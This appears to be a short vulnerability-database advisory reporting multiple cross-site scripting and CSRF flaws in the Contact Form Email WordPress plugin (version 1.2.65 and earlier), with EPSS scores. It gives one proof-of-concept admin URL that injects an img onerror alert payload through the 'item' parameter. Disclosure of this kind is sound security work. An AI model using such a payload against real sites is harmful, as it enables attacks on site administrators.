Lucene search

K
wpexploitRyan DewhurstWPEX-ID:AB7D048A-3E4F-4E89-B1B7-8D9A8C09F0D7
HistoryFeb 05, 2019 - 12:00 a.m.

Contact Form Email <= 1.2.65 - Multiple Cross-Site Scripting (XSS) & CSRF

2019-02-0500:00:00
Ryan Dewhurst
14

0.001 Low

EPSS

Percentile

34.6%

The Contact Form Email WordPress plugin was affected by a Multiple Cross-Site Scripting (XSS) & CSRF security vulnerability.

http://www.example.com/wp-admin/admin.php?page=cp_contactformtoemail&edit=1&cal=1&item='"><img+src%3Dx+onerror%3Dalert(1)>

0.001 Low

EPSS

Percentile

34.6%

Related for WPEX-ID:AB7D048A-3E4F-4E89-B1B7-8D9A8C09F0D7